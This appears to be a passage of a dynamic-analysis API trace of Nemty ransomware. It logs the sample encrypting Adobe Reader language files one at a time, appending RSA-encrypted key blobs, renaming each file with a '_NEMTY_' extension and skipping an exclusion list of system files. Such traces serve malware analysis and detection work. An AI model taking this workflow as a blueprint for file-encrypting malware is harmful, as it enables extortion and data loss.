cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="TjoYSifuEif40775knKzvo+SQqH61DpDWr5Z7XquIP6bCwsn9ntBZ6U6AS+zOLvU\r\nn/UT0/gvND/GR2L2nhvWqBI4xTmYY/4IAGB+73PgQiBVCKu8XNnQ5KHkp/cBgw3q\r\nrU3mn4y5lpMnlDDhQbxrqkHR5LJHl2gKwVuQt89xEprw0KNbYerD21Zod9JeW4Wj\r\nMdoz7B9V+I9DO1si61UM/YSiGHVMRLxnC/daiZa28pUarYHxBWCidUgh20pRA8XV\r\nL3gwfjKho6zJ1bTNzWxGHWEcFkmSllBEb2JNBCrtz8FZyPjAjLrMl0+o9t3cbYVS\r\nFBYnykNyA2WmQzjBQnnxGg==\r\n", pcchString=0x653e5dc) returned 1 [0215.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.576] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_uy.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.577] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28360) returned 1 [0215.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.577] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.577] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.587] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.587] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.588] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec8 [0215.588] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.588] CloseHandle (hObject=0x2e8) returned 1 [0215.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.588] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_uy.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_uy.txt._nemty_kgobjgd_")) returned 1 [0215.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.589] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_VE.txt", cAlternateFileName="DIACC3~1.TXT")) returned 1 [0215.589] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2=".") returned 1 [0215.589] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="..") returned 1 [0215.589] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="...") returned 1 [0215.589] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="windows") returned -1 [0215.589] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.589] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="rsa") returned -1 [0215.590] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="NTDETECT.COM") returned -1 [0215.590] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="ntldr") returned -1 [0215.590] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="MSDOS.SYS") returned -1 [0215.590] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="IO.SYS") returned -1 [0215.590] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="boot.ini") returned 1 [0215.590] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="boot.ini") returned 1 [0215.590] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.590] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="ntuser.dat") returned -1 [0215.590] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="desktop.ini") returned 1 [0215.590] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="CONFIG.SYS") returned 1 [0215.590] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="RECYCLER") returned -1 [0215.590] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.590] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="bootmgr") returned 1 [0215.590] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="programdata") returned -1 [0215.590] lstrcmpiW (lpString1="DisplayLanguageNames.es_VE.txt", lpString2="appdata") returned 1 [0215.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_VE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_VE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_VE.txt", lpUsedDefaultChar=0x0) returned 30 [0215.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_VE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_VE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_VE.txt", lpUsedDefaultChar=0x0) returned 30 [0215.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_VE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_VE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_VE.txt", lpUsedDefaultChar=0x0) returned 30 [0215.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_VE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_VE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_VE.txt", lpUsedDefaultChar=0x0) returned 30 [0215.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.591] Sleep (dwMilliseconds=0x5) [0215.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3425ff30, dwHighDateTime=0x1d561e8)) [0215.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3425ff30, dwHighDateTime=0x1d561e8)) [0215.605] GetLastError () returned 0x0 [0215.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.606] GetLastError () returned 0x0 [0215.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.606] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.606] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.606] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.606] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="DZ3ys3RLkH7zene4Rm9eVS6NRvNiPJytg7Qq+fqGF4QVnHopkau+MxbXAEuH3WB5\r\nUPJcxJOSZAktmiZZWh12kVJTBnAUBlOddLKGDg+Yoo+w8WUYqqwkxubGfL2vw05Q\r\nT3I6Ee/jy+F6mZ3fUmvZOiIkDD8e2gMWoC/p4uyvHhEJ4p9hHZhdrs9X14uYgalF\r\nxAxwRjHn2/zN48Ums24cSGEpIlGDsNDYzjvVOjtPq6YjBit4R/ErhHkQ2UmqdBpP\r\nugBevt5tKLR8vFIP0CX6cJA975ysZJzKGF1XgEicGLidtcE6CAxiQy6zw2CLgIjA\r\niry3Yl0LeO8tkH3tKx01JA==\r\n", pcchString=0x653e5dc) returned 1 [0215.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.606] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ve.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.607] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28360) returned 1 [0215.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.607] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.607] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.610] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.610] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.611] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec8 [0215.611] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.611] CloseHandle (hObject=0x2e8) returned 1 [0215.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.611] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ve.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ve.txt._nemty_kgobjgd_")) returned 1 [0215.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.612] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec6, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es__TRADITIONAL.txt", cAlternateFileName="DI8400~1.TXT")) returned 1 [0215.612] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2=".") returned 1 [0215.612] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="..") returned 1 [0215.612] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="...") returned 1 [0215.612] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="windows") returned -1 [0215.612] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.612] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="rsa") returned -1 [0215.612] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="NTDETECT.COM") returned -1 [0215.612] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="ntldr") returned -1 [0215.612] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="MSDOS.SYS") returned -1 [0215.612] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="IO.SYS") returned -1 [0215.613] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="boot.ini") returned 1 [0215.613] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="boot.ini") returned 1 [0215.613] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.613] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="ntuser.dat") returned -1 [0215.613] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="desktop.ini") returned 1 [0215.613] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="CONFIG.SYS") returned 1 [0215.613] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="RECYCLER") returned -1 [0215.613] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.613] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="bootmgr") returned 1 [0215.613] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="programdata") returned -1 [0215.613] lstrcmpiW (lpString1="DisplayLanguageNames.es__TRADITIONAL.txt", lpString2="appdata") returned 1 [0215.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x6340048 [0215.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es__TRADITIONAL.txt", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0215.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es__TRADITIONAL.txt", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es__TRADITIONAL.txt", lpUsedDefaultChar=0x0) returned 40 [0215.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x63400b0 [0215.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es__TRADITIONAL.txt", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0215.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 